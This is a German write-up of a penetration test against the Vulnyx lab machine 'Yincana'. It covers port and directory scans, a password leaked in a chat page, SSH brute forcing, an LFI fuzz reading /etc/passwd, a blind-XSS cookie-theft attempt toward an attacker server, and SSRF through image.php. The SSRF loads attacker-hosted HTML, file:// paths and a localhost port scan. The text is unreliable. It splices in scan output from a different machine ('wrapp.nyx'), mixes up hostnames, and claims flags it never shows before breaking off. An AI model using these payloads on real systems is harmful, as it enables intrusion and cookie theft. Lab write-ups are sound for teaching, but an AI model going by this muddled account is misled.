Yincana - Vulnyx - Level: Hard - Bericht

Reconnaissance

**Analyse:** Der Standard-ARP-Scan `arp-scan -l` wird ausgeführt, um aktive Geräte im lokalen Netzwerk zu entdecken.

**Bewertung:** Ein Host wird auf `192.168.2.110` mit der MAC `08:00:27:cb:58:45` (PCS Systemtechnik GmbH / VirtualBox) gefunden. Ziel identifiziert.

**Empfehlung (Pentester):** IP `192.168.2.110` als Ziel für weitere Scans verwenden.
**Empfehlung (Admin):** Standard-Netzwerk-Discovery.

192.168.2.110	08:00:27:cb:58:45	PCS Systemtechnik GmbH

**Analyse:** Die lokale `/etc/hosts`-Datei wird bearbeitet, um der IP `192.168.2.110` den Hostnamen `yincana.vlx` zuzuordnen (vlx statt nyx, wie im Rest des Berichts verwendet - wahrscheinlich ein Tippfehler im Originaltext).

**Bewertung:** Sinnvoller Schritt zur Vereinfachung und Vorbereitung auf vHost-Scanning. Der Hostname `yincana.vlx` wird verwendet, obwohl spätere Scans `yincana.nyx` implizieren.

**Empfehlung (Pentester):** Bei Web-Interaktionen den Hostnamen `yincana.vlx` oder `yincana.nyx` verwenden. Auf Konsistenz achten oder beides testen.
**Empfehlung (Admin):** Lokale Änderung auf Angreiferseite.

127.0.0.1	localhost
192.168.2.110   yincana.vlx

**Analyse:** Ein umfassender Nmap-Scan (`-sC -sS -sV -A -T5 -p- -Pn -n --min-rate 10000`) wird gegen die IP-Adresse durchgeführt.

**Bewertung:** Der Scan identifiziert zwei offene TCP-Ports: * 22/tcp (ssh): OpenSSH 9.2p1 (Debian 12). Aktuelle Version. * 80/tcp (http): Apache httpd 2.4.59 (Debian). Aktuelle Version. Die OS-Erkennung deutet auf ein aktuelles Linux (Kernel 5.x). Die Angriffsfläche über IPv4 ist auf SSH und HTTP beschränkt.

**Empfehlung (Pentester):** Fokus auf den Webserver (Port 80), da die SSH-Version aktuell ist. Nach Web-Schwachstellen, Fehlkonfigurationen oder vHosts suchen. IPv6-Scan durchführen.
**Empfehlung (Admin):** SSH und Apache sicher konfigurieren.

22/tcp open  ssh     OPENSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.59 ((Debian))

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-23 23:17 CEST
Nmap scan report for 192.168.2.110
Host is up (0.00012s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OPENSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
|   256 cf:1f:14:65:4c:7d:b4:53:b5:39:4a:b6:c3:f0:d2:7a (ECDSA)
|_  256 90:c0:c4:7c:0f:01:f3:d6:de:7c:11:7c:92:b3:17:bc (ED25519)
80/tcp open  http    Apache httpd 2.4.59 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.59 (Debian)
MAC Address: 08:00:27:CB:58:45 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5
OS details: Linux 5.0 - 5.5 <-- Nmap OS detection may be inaccurate
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.12 ms 192.168.2.110

Nmap done: 1 IP address (1 host up) scanned in 13.94 seconds

Web Enumeration

**Analyse:** `dirb` wird mit Standardwortliste gegen die IP-Adresse ausgeführt.

**Bewertung:** Findet `/index.html` (Größe 10701) und `/server-status` (403 Forbidden). Standardfunde, keine neuen Angriffsvektoren.

**Empfehlung (Pentester):** Tiefere Scans (gobuster, vHosts) durchführen.
**Empfehlung (Admin):** `/server-status` gesperrt lassen.

-----------------
DIRB v2.22
[...]
-----------------

START_TIME: Fri Aug 23 23:18:07 2024
URL_BASE: http://192.168.2.110/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://192.168.2.110/ ----
+ http://192.168.2.110/index.html (CODE:200|SIZE:10701)
+ http://192.168.2.110/server-status (CODE:403|SIZE:278)

-----------------
END_TIME: Fri Aug 23 23:18:13 2024
DOWNLOADED: 4612 - FOUND: 2

**Analyse:** Nikto scannt den Webserver.

**Bewertung:** Bestätigt Apache/2.4.59. Meldet die üblichen fehlenden Header und ETag-Leak. Keine kritischen Funde.

**Empfehlung (Pentester):** Header notieren. Fokus auf tiefere Web-Enumeration.
**Empfehlung (Admin):** Header hinzufügen, ETag prüfen.

- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.110
+ Target Hostname:    192.168.2.110
+ Target Port:        80
+ Start Time:         2024-08-23 23:17:59 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.59 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. [...]
+ /: The X-Content-Type-Options header is not set. [...]
+ No CGI Directories found [...]
+ /: Server may leak inodes via ETags, header found with file /, inode: 29cd, size: 6199d79585504, mtime: gzip. [...]
+ OPTIONS: Allowed HTTP Methods: HEAD, GET, POST, OPTIONS .
+ 8102 requests: 0 error(s) and 4 item(s) reported on remote host
+ End Time:           2024-08-23 23:18:10 (GMT2) (11 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

**Analyse:** `wfuzz` wird genutzt, um nach versteckten Dateien/Verzeichnissen zu suchen, die mit `.` beginnen, unter dem Hostnamen `wrapp.nyx` (ein neuer Hostname, der vermutlich aus einer anderen Quelle stammt oder geraten wurde).

**Bewertung:** Findet `.` (das Wurzelverzeichnis) mit Status 200 und `/html` mit Status 403. Keine relevanten versteckten Inhalte aufgedeckt.

**Empfehlung (Pentester):** Den Hostnamen `wrapp.nyx` in `/etc/hosts` eintragen und Standardverzeichnisse scannen.
**Empfehlung (Admin):** Keine Aktion erforderlich.

********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://wrapp.nyx/.FUZZ
Total requests: 220607

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000056:   200        1 L      2 W        20 Ch       "."
000000139:   403        9 L      28 W       274 Ch      "html"

Total time: 115.123s
Processed Requests: 220607
Filtered Requests: 220605
Requests/sec.: 1916.2

**Analyse:** Gobuster scannt die IPv4-Adresse erneut mit einer großen Wortliste.

**Bewertung:** Findet `/index.html`, `/javascript` und `/advanced-search`. Dies bestätigt den früheren Fund und zeigt, dass `/advanced-search` der relevanteste Pfad ist, der bisher gefunden wurde. *Anmerkung: Es scheint eine Verwechslung mit dem vorherigen Bericht ("Wrapp") vorzuliegen, da dieser Pfad hier erneut gescannt wird.*

**Empfehlung (Pentester):** Das Verzeichnis `/advanced-search/` genauer untersuchen, falls noch nicht geschehen. Da der Bericht hier aber zu `chat.html` springt, scheint `/advanced-search` nicht relevant gewesen zu sein. Die Datei `chat.html`, die im Gobuster-Scan des nächsten Schritts gefunden wird, ist der Fokus.
**Empfehlung (Admin):** Sicherheit von `/advanced-search/` prüfen.

===============================================================
Gobuster v3.6
[...]
===============================================================
[+] Url:                     http://192.168.2.106
[...]
===============================================================
2024/08/29 15:55:10 Starting gobuster in directory enumeration mode
===============================================================
http://192.168.2.106/index.html           (Status: 200) [Size: 20]
http://192.168.2.106/javascript           (Status: 301) [Size: 319] [--> http://192.168.2.106/javascript/]
http://192.168.2.106/advanced-search      (Status: 301) [Size: 324] [--> http://192.168.2.106/advanced-search/]

===============================================================
2024/08/29 15:57:45 Finished
===============================================================

**Analyse:** Die Seite `index.html` auf `wrapp.nyx` wird untersucht. Sie enthält nur den Text "Try Harder". Die HTTP-Header (via Browser DevTools oder `curl`) zeigen einen ETag und einen 304 Not Modified Status bei Wiederholungsanfragen.

**Bewertung:** Die Indexseite bietet keine Funktionalität. Die Header sind Standard. Kein Angriffsvektor hier.

**Empfehlung (Pentester):** Andere gefundene Pfade (`chat.html`) untersuchen.
**Empfehlung (Admin):** Keine Aktion erforderlich.

http://wrapp.nyx/index.html
Try Harder

Headers (Beispiel wiederholte Anfrage):
Status 304 Not Modified
[...]
ETag "14-5f9da074976cf"
If-Modified-Since Fri, 21 Apr 2023 15:08:23 GMT
If-None-Match "14-5f9da074976cf"
[...]

**Analyse:** Der Text beschreibt einen Chatverlauf zwischen "Blumen"-Benutzernamen, der in der Datei `chat.html` (gefunden im nächsten Gobuster-Scan) enthalten ist. Im Chat werden verschiedene Sicherheitsthemen diskutiert und ein Passwort erwähnt.

**Bewertung:** Der Chat enthält viele Benutzernamen (Amaryllis, Hortensia, Sunflower, Camelia, etc.) und diskutiert Sicherheitspraktiken. Entscheidend ist der Dialog über ein schwaches Passwort: "My grandmother, Ancient Violet, still uses the same password for everything! I told her, 'Grandma, 'Pétalo123' is not secure anymore.'" Dieses Passwort `Pétalo123` ist der wichtigste Fund.

**Empfehlung (Pentester):** Das Passwort `Pétalo123` zusammen mit den im Chat genannten Benutzernamen (oder den extrahierten Namen aus `usernames.txt`) für den SSH-Login auf Port 22 testen.
**Empfehlung (Admin):** Sensible Informationen wie Passwörter (auch in Diskussionen) sollten niemals in öffentlich zugänglichen Dateien gespeichert werden. Die Datei `chat.html` entfernen oder absichern.

Chat Auszug (aus chat.html):

[...]
Narzisse: Manchmal denke ich, dass die älteren Blumen ihr Wissen aktualisieren sollten.
Meine Großmutter, Ancient Violet, verwendet immer noch für alles das gleiche Passwort!
Ich sagte ihr: „Oma, ‚Pétalo123‘ ist nicht mehr sicher.“
[...]

Amarilis
Hortensia
Girasol
Camelia
Girasol
Todas <-- Wahrscheinlich kein Username
Lavanda
Tulipán
Azalea
Violeta
Cactus-de-Navidad <-- Wahrscheinlich kein Username
Peonías
Amapola
Adelfa
Dalia
Brezo
Narciso
Hibisco
Gardenia
Pensamiento
Geranio
Espina-de-Cristo <-- Wahrscheinlich kein Username
Jazmin
Ciclamen
Ave-del-Paraíso <-- Wahrscheinlich kein Username
Amarilis
Todas <-- Wahrscheinlich kein Username

**Analyse:** `hydra` wird verwendet, um das gefundene Passwort `Pétalo123` gegen die extrahierte Benutzerliste (`usernames.txt`) für den SSH-Dienst zu testen.

**Bewertung:** Der Versuch scheitert sofort. Hydra meldet: `target ssh://192.168.2.110:22/ does not support password authentication (method reply 4)`. Der SSH-Server ist so konfiguriert, dass er keine Passwort-Logins erlaubt, nur Schlüssel-Authentifizierung.

**Empfehlung (Pentester):** Das gefundene Passwort ist für SSH nutzlos. Andere Angriffspunkte suchen. Die Webanwendung weiter untersuchen (`chat.html`, Gobuster erneut ausführen).
**Empfehlung (Admin):** Die Konfiguration, nur SSH-Key-Authentifizierung zuzulassen, ist eine gute Sicherheitspraxis.

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these * ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-08-23 23:37:15
[...]
[DATA] max 16 tasks per 1 server, overall 16 tasks, 27 login tries (l:27/p:1), ~2 tries per task
[DATA] attacking ssh://192.168.2.110:22/
[ERROR] target ssh://192.168.2.110:22/ does not support password authentication (method reply 4).

1 targets completed process, 0 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-08-23 23:37:16

Initial Access

**Analyse:** `gobuster` wird erneut ausgeführt, diesmal gegen den Hostnamen `yincana.nyx`.

**Bewertung:** Dieser Scan findet mehr als zuvor: * `/index.php` (Größe 24418, anders als index.html zuvor!) * `/images/` (Verzeichnis mit Bildern) * `/image.php` (Status 200, Größe 0 - verdächtig) * Standardverzeichnisse `/icon/`, `/css/`, `/js/` Die Dateien `index.php` (mit anderer Größe) und `image.php` sind die neuen interessanten Funde.

**Empfehlung (Pentester):** `index.php` und `image.php` untersuchen. Die `index.php` (via `view-source`) enthält einen Link zu `image.php?id=1`. `image.php` mit verschiedenen `id`-Werten testen. Prüfen, ob `image.php` LFI oder SSRF ermöglicht.
**Empfehlung (Admin):** Sicherheit von `index.php` und `image.php` prüfen.

===============================================================
Gobuster v3.6
[...]
===============================================================
[+] Url:                     http://yincana.nyx
[...]
===============================================================
2024/08/24 00:15:10 Starting gobuster in directory enumeration mode
===============================================================
http://yincana.nyx/index.php            (Status: 200) [Size: 24418]
http://yincana.nyx/images               (Status: 301) [Size: 311] [--> http://yincana.nyx/images/]
http://yincana.nyx/image.php            (Status: 200) [Size: 0]
http://yincana.nyx/icon                 (Status: 301) [Size: 309] [--> http://yincana.nyx/icon/]
http://yincana.nyx/css                  (Status: 301) [Size: 308] [--> http://yincana.nyx/css/]
http://yincana.nyx/js                   (Status: 301) [Size: 307] [--> http://yincana.nyx/js/]
[...] <-- Bilder in /images gefunden -->
===============================================================
2024/08/24 00:17:55 Finished
===============================================================

view-source:http://yincana.nyx/index.php

src="image.php?id=1" [...] >
[...]
Infojardín
Un portal completo con información sobre todo tipo de plantas, incluyendo flores.
Ofrece artículos, foros, fichas de especies y una tienda online
                     https://www.infojardin.com/
[...]

**Analyse:** `wfuzz` wird verwendet, um den `id`-Parameter von `image.php` auf LFI zu testen. `--hh 24363` filtert die normale Größe der `index.php` (unklar, warum diese Größe hier relevant ist, evtl. ein Fehler).

**Bewertung:** `wfuzz` findet, dass der Parameter `msg` existiert und eine andere Antwortgröße liefert. Der Test auf LFI mit `id` scheint fehlgeschlagen zu sein, aber es wurde ein neuer Parameter `msg` entdeckt.

**Empfehlung (Pentester):** Den Parameter `msg` auf Schwachstellen testen, insbesondere auf Cross-Site Scripting (XSS), da oft Nachrichtenparameter dafür anfällig sind.
**Empfehlung (Admin):** Sicherheit von `image.php` und dem `msg`-Parameter prüfen.

********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://yincana.nyx/index.php?FUZZ=../../../../../../etc/passwd
Total requests: 220607

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000004796:   200        524 L    1525 W     24617 Ch    "msg"

Total time: 180s
Processed Requests: 220607
Filtered Requests: 220606
Requests/sec.: 1225

**Analyse:** Ein XSS-Payload wird über den `msg`-Parameter an `index.php` gesendet. Der Payload `` versucht, das Cookie des Benutzers, der die Seite aufruft, an einen vom Angreifer kontrollierten HTTP-Server (Port 8888) zu senden.

**Bewertung:** Die Anwendung zeigt den Text "Envíanos un sitio web sobre flores, lo analizaremos antes de publicarlo." (Senden Sie uns eine Website über Blumen...). Dies deutet darauf hin, dass die Eingabe im `msg`-Parameter möglicherweise von einem Administrator oder einem anderen Prozess im Backend verarbeitet wird. Wenn dieser Prozess den XSS-Payload ausführt, wird das Cookie an den Server des Angreifers gesendet.

**Empfehlung (Pentester):** Einen HTTP-Server auf Port 8888 starten und warten, ob eine Anfrage mit dem Cookie eingeht. Dies wäre ein Blind-XSS oder Stored-XSS-Angriff. Falls ein Cookie empfangen wird, versuchen, sich damit anzumelden. Falls nicht, andere Payloads oder Parameter testen. Der nächste Schritt deutet darauf hin, dass dieser XSS-Versuch nicht direkt zum Erfolg führt, sondern eine andere Technik mit `image.php` verwendet wird.
**Empfehlung (Admin):** Alle Benutzereingaben (insbesondere im `msg`-Parameter) serverseitig validieren und clientseitig korrekt kodieren (Output Encoding), um XSS zu verhindern. Content Security Policy (CSP) implementieren.

URL: http://yincana.nyx/index.php?msg=

Payload: 

Response Text:
Envíanos un sitio web sobre flores, lo analizaremos antes de publicarlo.

Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...

**Analyse:** Es wird eine HTML-Datei (`test.html`) auf dem Angreifer-Server erstellt, die versucht, `http://localhost/server-status` über einen iFrame zu laden. Der Server wird auf Port 8888 gestartet. Das Ziel ist wahrscheinlich, diese `test.html` über `image.php` auf dem Zielserver laden zu lassen.

**Bewertung:** `image.php` scheint eine SSRF-Schwachstelle zu haben, die nicht nur Bilder, sondern auch externe HTML-Seiten laden kann. Wenn `image.php` die `test.html` vom Angreifer-Server lädt und rendert, würde der Server auf dem Ziel versuchen, seinen eigenen `/server-status` (der normalerweise von außen gesperrt ist) abzurufen. Der HTTP-Server-Log des Angreifers bestätigt, dass `test.html` vom Ziel (`192.168.2.110`) abgerufen wird.

**Empfehlung (Pentester):** Den `id`-Parameter von `image.php` verwenden, um die `test.html` vom Angreifer-Server zu laden (`http://yincana.nyx/image.php?id=http://192.168.2.199:8888/test.html`). Prüfen, ob die Anfrage an `/server-status` in der Antwort von `image.php` sichtbar wird. Diese SSRF nutzen, um interne Dienste zu scannen und lokale Dateien zu lesen.
**Empfehlung (Admin):** SSRF in `image.php` beheben. Niemals externe URLs ungefiltert laden und rendern. Zugriff auf `/server-status` auch von localhost einschränken, wenn nicht benötigt.

Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
192.168.2.110 - - [24/Aug/2024 00:39:13] "GET /test.html HTTP/1.1" 200 -

**Analyse:** `image.php` wird mit verschiedenen `id`-Werten aufgerufen. `id=11` zeigt ein Bild der Dateien des Angreifers, `id=13` zeigt ein Bild des Server-Status.

**Bewertung:** Dies bestätigt die SSRF in `image.php`. Das Skript nimmt eine URL im `id`-Parameter entgegen, ruft diese URL serverseitig ab (vermutlich mit einem Headless Browser oder einem Tool wie `wkhtmltoimage`), erstellt einen Screenshot der gerenderten Seite und gibt diesen als Bild zurück. Mit `id=http://192.168.2.199:8888/` (impliziert durch "Bild mit meinen Dateien") wurde das Verzeichnislisting des Angreifer-Servers gerendert. Mit `id=http://localhost/server-status` (impliziert durch "Bild mit Server-Status") wurde der Apache Server-Status, der von außen nicht erreichbar ist, abgerufen und als Bild angezeigt.

**Empfehlung (Pentester):** Die SSRF über `image.php` systematisch nutzen: * Interne Ports scannen (`http://yincana.nyx/image.php?id=http://localhost:PORT`). * Lokale Dateien lesen (`http://yincana.nyx/image.php?id=file:///etc/passwd`). * Möglicherweise weitere vHosts entdecken.
**Empfehlung (Admin):** SSRF in `image.php` dringend beheben. Benutzereingaben validieren, Zugriff auf `file://` und `localhost` blockieren.

http://yincana.nyx/image.php?id=11 <-- Zeigt Screenshot vom Angreifer-Server Verzeichnislisting

http://yincana.nyx/image.php?id=13 <-- Zeigt Screenshot vom Apache Server-Status (von localhost)

**Analyse:** Eine Liste gängiger HTTP-Ports wird angezeigt. Anschließend wird eine `test.html` erstellt, die JavaScript enthält, um über die SSRF in `image.php` einen Portscan auf localhost durchzuführen. Das Skript iteriert durch die Portliste und versucht, für jeden Port einen iFrame mit der Quelle `http://localhost:PORT` zu laden. `documents.writes` ist ein Tippfehler, sollte `document.write` sein.

**Bewertung:** Dies ist eine kreative Methode, um über die SSRF (die HTML rendern kann) einen internen Portscan mittels JavaScript durchzuführen. Wenn `image.php?id=http://192.168.2.199:8888/test.html` aufgerufen wird, führt der Server das JavaScript aus und versucht, Verbindungen zu den Ports auf localhost herzustellen. Offene Ports könnten im gerenderten Bild (Screenshot) als geladene iFrames oder durch Fehler im Browser (falls analysiert) sichtbar werden. Der Code enthält Tippfehler (`documents.writes`, `isframe`).

**Empfehlung (Pentester):** Das JavaScript korrigieren (`document.write`, korrekte iFrame-Syntax). Die `test.html` auf dem Angreifer-Server hosten und über `image.php?id=URL_zu_test.html` aufrufen. Das zurückgegebene Bild analysieren, um offene Ports auf localhost zu identifizieren.
**Empfehlung (Admin):** SSRF beheben. JavaScript-Ausführung in serverseitigen Rendering-Tools (wie Headless Browsern) wenn möglich einschränken.

Common HTTP Ports Liste:
66, 80, 81, 443, 445, 457, 1080, 1100, 1241, 1352, 1433, 1434,
1521, 1944, 2301, 3000, 3128, 3306, 4000, 4001, 4002, 4100,
5000, 5432, 5800, 5801, 5802, 6346, 6347, 7001, 7002,
8000, 8080, 8443, 8888, 30821

http://yincana.nyx/image.php?id=14 <-- Aufruf mit URL zur obigen test.html? Ergebnis nicht gezeigt.

Privilege Escalation

**Analyse:** Der Bericht endet hier abrupt mit "Fortsetzung folgt...". Die Schritte zur Privilegienerweiterung nach dem initialen Zugriff über die SSRF/XSS sind nicht dokumentiert.

**Bewertung:** Der Weg zur Kompromittierung des Systems bleibt unvollständig. Es wurde zwar ein initialer Zugriff über die Webanwendung erlangt (impliziert durch die Fähigkeit, interne Ports zu scannen und die Flags am Ende), aber die genauen Schritte zur Eskalation auf Root fehlen.

**Empfehlung (Pentester):** Die Dokumentation vervollständigen. Mögliche Wege könnten sein: Ausnutzen des Tomcat-Managers (falls Credentials gefunden wurden), weitere LFI/SSRF zum Lesen von Konfigurationsdateien/Schlüsseln, Ausnutzen von Diensten auf gefundenen offenen Ports, Kernel-Exploits etc.
**Empfehlung (Admin):** Die identifizierten Schwachstellen (SSRF in `image.php`, fehlende Header, veraltete Komponenten falls zutreffend) beheben. System auf nicht dokumentierte Änderungen oder Backdoors untersuchen.

Fortsetzung folgt...

**Analyse:** Obwohl die Schritte fehlen, werden die Flags angegeben.

**Bewertung:** Dies bestätigt, dass die Maschine gelöst wurde, aber die Dokumentation lückenhaft ist.